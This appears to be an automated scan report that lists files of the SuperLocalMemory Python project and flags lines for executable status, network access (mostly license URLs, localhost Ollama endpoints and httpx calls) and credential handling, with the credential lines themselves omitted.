src/superlocalmemory/core/hopfield_config.py
- Executable scriptline 1
Executable file
src/superlocalmemory/core/ingest_gate.py
src/superlocalmemory/core/ingestion_command.py
- Executable scriptline 1
Executable file
src/superlocalmemory/core/ingestion_lease_owner.py
- Executable scriptline 1
Executable file
src/superlocalmemory/core/injection.py
src/superlocalmemory/core/install_detector.py
- Executable scriptline 1
Executable file
src/superlocalmemory/core/judge_keys.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/judge_selection.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 267
[Credential-related source omitted] - Access to secretsline 268
[Credential-related source omitted] - Access to secretsline 269
[Credential-related source omitted]
src/superlocalmemory/core/keep_worthiness.py
- Executable scriptline 1
Executable file
src/superlocalmemory/core/key_expander.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/kind_assignment.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/kind_on_resave.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/kind_query.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 173
db, profile_id, tag_query.members(db, profile_id, tag_filter)) if not kind: return fetch(limit) - Network accessline 174
if not kind: return fetch(limit) facts, was_truncated = _windowed_kind_fetch( - Network accessline 175
return fetch(limit) - Network accessline 201
db, query, profile_id, tag_query.members(db, profile_id, tag_filter)) if not kind: return fetch(limit) - Network accessline 202
if not kind: return fetch(limit) facts, was_truncated = _windowed_kind_fetch( - Network accessline 203
return fetch(limit)
src/superlocalmemory/core/kind_reconcile_task.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/kind_upgrade.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/langevin_tier.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 2
# Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com """Where a memory sits in the Langevin ball, and so which tier it is in. - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/laya_interpreter.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 12
[Credential-related source omitted] - Access to secretsline 62
[Credential-related source omitted]
src/superlocalmemory/core/laya_jobs.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/laya_paths.py
- Executable scriptline 1
Executable file
src/superlocalmemory/core/laya_process.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/laya_remove.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/laya_runtime.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 376
[Credential-related source omitted] - Access to secretsline 392
[Credential-related source omitted]
src/superlocalmemory/core/laya_verify.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 150
[Credential-related source omitted]
src/superlocalmemory/core/laya_worker.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 72
[Credential-related source omitted] - Access to secretsline 73
[Credential-related source omitted] - Access to secretsline 74
[Credential-related source omitted] - Access to secretsline 193
[Credential-related source omitted]
src/superlocalmemory/core/legacy_source_admission.py
- Executable scriptline 1
Executable file
src/superlocalmemory/core/lifecycle_state.py
- Executable scriptline 1
Executable file
src/superlocalmemory/core/machine.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/maintenance.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/maintenance_scheduler.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 44
[Credential-related source omitted]
src/superlocalmemory/core/materialization_control.py
- Executable scriptline 1
Executable file
src/superlocalmemory/core/mcp_embedder_proxy.py
src/superlocalmemory/core/media_fetch.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 148
def _parse(link: str) -> httpx.URL: try: url = httpx.URL(link.strip()) - Network accessline 149
try: url = httpx.URL(link.strip()) except (httpx.InvalidURL, ValueError): - Network accessline 150
url = httpx.URL(link.strip()) - Access to secretsline 166
[Credential-related source omitted] - Network accessline 274
url = _parse(link) try: with httpx.Client(transport=transport, trust_env=False, follow_redirects=False) as client: - Network accessline 275
try: with httpx.Client(transport=transport, trust_env=False, follow_redirects=False) as client: for _ in range(MAX_REDIRECTS + 1): - Network accessline 276
with httpx.Client(transport=transport, trust_env=False, follow_redirects=False) as client:
src/superlocalmemory/core/memory_health.py
- Executable scriptline 1
Executable file
src/superlocalmemory/core/memory_kind_backfill.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/memory_kind_backfill_plan.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/memory_kind_config.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/memory_kind_runs.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/memory_kind_wiring.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/metadata_guard.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/metadata_health.py
- Executable scriptline 1
Executable file
src/superlocalmemory/core/mode_capability.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 82
[Credential-related source omitted] - Access to secretsline 87
[Credential-related source omitted] - Access to secretsline 93
[Credential-related source omitted]
src/superlocalmemory/core/model_catalog.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/modes.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/mutation_routing.py
- Executable scriptline 1
Executable file
src/superlocalmemory/core/mutations.py
- Executable scriptline 1
Executable file
src/superlocalmemory/core/ollama_embedder.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 55
self, model: str = "nomic-embed-text", base_url: str = "http://localhost:11434", - Network accessline 56
model: str = "nomic-embed-text", base_url: str = "http://localhost:11434", dimension: int = 768, - Network accessline 57
base_url: str = "http://localhost:11434", - Network accessline 190
try: resp = httpx.get( - Network accessline 191
resp = httpx.get( - Network accessline 226
f"{self._base_url}/api/embed", {"model": self._model, "input": [text], "keep_alive": -1}, timeout=httpx.Timeout(_RESPONSE_TIMEOUT, connect=_CONNECT_TIMEOUT), - Network accessline 227
{"model": self._model, "input": [text], "keep_alive": -1}, timeout=httpx.Timeout(_RESPONSE_TIMEOUT, connect=_CONNECT_TIMEOUT), ) - Network accessline 228
timeout=httpx.Timeout(_RESPONSE_TIMEOUT, connect=_CONNECT_TIMEOUT), - Network accessline 249
f"{self._base_url}/api/embed", {"model": self._model, "input": texts, "keep_alive": -1}, timeout=httpx.Timeout(_RESPONSE_TIMEOUT, connect=_CONNECT_TIMEOUT), - Network accessline 250
{"model": self._model, "input": texts, "keep_alive": -1}, timeout=httpx.Timeout(_RESPONSE_TIMEOUT, connect=_CONNECT_TIMEOUT), ) - Network accessline 251
timeout=httpx.Timeout(_RESPONSE_TIMEOUT, connect=_CONNECT_TIMEOUT),
src/superlocalmemory/core/ollama_validator.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 53
DEFAULT_BASE_URL = "http://localhost:11434" - Network accessline 142
url = base_url.rstrip("/") request_timeout = httpx.Timeout(timeout, connect=_CONNECT_TIMEOUT) - Network accessline 143
request_timeout = httpx.Timeout(timeout, connect=_CONNECT_TIMEOUT) - Network accessline 145
try: if role == EMBEDDING: response = httpx.post( - Network accessline 146
if role == EMBEDDING: response = httpx.post( f"{url}/api/embed", - Network accessline 147
response = httpx.post( - Network accessline 151
) else: response = httpx.post( - Network accessline 152
else: response = httpx.post( f"{url}/api/generate", - Network accessline 153
response = httpx.post(
src/superlocalmemory/core/one_model_default.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/open_correction.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/operation_policy.py
- Executable scriptline 1
Executable file
src/superlocalmemory/core/operation_policy_registry.py
- Executable scriptline 1
Executable file
src/superlocalmemory/core/operation_request.py
- Executable scriptline 1
Executable file
src/superlocalmemory/core/ops_inspection.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/ops_remediation.py
- Executable scriptline 1
Executable file
src/superlocalmemory/core/outbound_http.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 122
return httpx.post(url, json=outbound_json(payload, url), headers=headers, - Network accessline 158
if self._transport is not None: kwargs["transport"] = self._transport client = httpx.Client(**kwargs) - Network accessline 159
kwargs["transport"] = self._transport client = httpx.Client(**kwargs) self._clients[options["trust_env"]] = client - Network accessline 160
client = httpx.Client(**kwargs) - Network accessline 212
if value is not None: kwargs[name] = value client = httpx.AsyncClient(**kwargs) - Network accessline 213
kwargs[name] = value client = httpx.AsyncClient(**kwargs) self._clients[options["trust_env"]] = client - Network accessline 214
client = httpx.AsyncClient(**kwargs) - Network accessline 267
if transport is not None: kwargs["transport"] = transport async with httpx.AsyncClient(**kwargs) as client: - Network accessline 268
kwargs["transport"] = transport async with httpx.AsyncClient(**kwargs) as client: async with client.stream(method, url, json=outbound_json(payload, url), - Network accessline 269
async with httpx.AsyncClient(**kwargs) as client: - Network accessline 295
def urlopen(request: urllib.request.Request | str, *, timeout: float) -> Any: - Network accessline 296
"""``urllib.request.urlopen`` through the gate. - Network accessline 303
req = request if isinstance(request, urllib.request.Request) else ( - Network accessline 304
urllib.request.Request(request)) - Network accessline 308
screened = outbound_content(data, url) if screened is not data: req = urllib.request.Request( - Network accessline 309
if screened is not data: req = urllib.request.Request( url, data=screened, headers=dict(req.header_items()), - Network accessline 310
req = urllib.request.Request( - Network accessline 317
def _send(req: urllib.request.Request, timeout: float) -> Any: - Network accessline 342
import http.client - Network accessline 343
return http.client.HTTPConnection("127.0.0.1", 11434, timeout=timeout)
src/superlocalmemory/core/outbound_redaction.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/overtaken_cases.py
- Executable scriptline 1
Executable file
src/superlocalmemory/core/pii.py
- Executable scriptline 1
Executable file
src/superlocalmemory/core/platform_utils.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/process_role.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/profile_tombstones.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/profiles.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/progressive_abstraction.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/project_identity.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/projection_drain.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/provider_endpoint_trust.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 72
return ( f"{label} has no host; expected something like " f"\"http://127.0.0.1:8080/v1\"." - Network accessline 73
f"{label} has no host; expected something like " f"\"http://127.0.0.1:8080/v1\"." ) - Network accessline 74
f"\"http://127.0.0.1:8080/v1\"."
src/superlocalmemory/core/queryable_fact.py
- Executable scriptline 1
Executable file
src/superlocalmemory/core/queue_consumer.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/ram_lock.py
- Executable scriptline 1
Executable file
src/superlocalmemory/core/rate_limit.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/recall_gate.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/recall_layers.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/recall_pipeline.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 1205
[Credential-related source omitted]
src/superlocalmemory/core/recall_queue.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/recall_worker.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 25
[Credential-related source omitted] - Access to secretsline 26
[Credential-related source omitted] - Access to secretsline 27
[Credential-related source omitted] - Access to secretsline 28
[Credential-related source omitted] - Access to secretsline 29
[Credential-related source omitted] - Access to secretsline 30
[Credential-related source omitted] - Access to secretsline 32
[Credential-related source omitted]
src/superlocalmemory/core/receipt_guard.py
- Executable scriptline 1
Executable file
src/superlocalmemory/core/registry.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/remember_admission.py
- Executable scriptline 1
Executable file
src/superlocalmemory/core/remember_replaces.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/remember_runtime.py
src/superlocalmemory/core/remote_mode.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 48
[Credential-related source omitted] - Access to secretsline 67
[Credential-related source omitted] - Access to secretsline 70
[Credential-related source omitted] - Access to secretsline 85
[Credential-related source omitted] - Network accessline 148
``origin`` is a full URL (``http://192.168.50.144:8765``). Empty origin is - Access to secretsline 167
[Credential-related source omitted]
src/superlocalmemory/core/replaces_input.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/reranker_worker.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 37
[Credential-related source omitted] - Access to secretsline 38
[Credential-related source omitted] - Access to secretsline 39
[Credential-related source omitted] - Access to secretsline 40
[Credential-related source omitted] - Access to secretsline 41
[Credential-related source omitted] - Access to secretsline 42
[Credential-related source omitted] - Access to secretsline 45
[Credential-related source omitted] - Network accessline 303
f"{backend!r} selects the remote reranker, which runs in the " f"parent process — set retrieval.cross_encoder_endpoint (e.g. " f"\"http://127.0.0.1:8041/v1/rerank\") so SuperLocalMemory routes " - Network accessline 304
f"parent process — set retrieval.cross_encoder_endpoint (e.g. " f"\"http://127.0.0.1:8041/v1/rerank\") so SuperLocalMemory routes " f"reranking over HTTP instead of spawning this worker." - Network accessline 305
f"\"http://127.0.0.1:8041/v1/rerank\") so SuperLocalMemory routes "
src/superlocalmemory/core/safe_fs.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/scale_autopromote.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
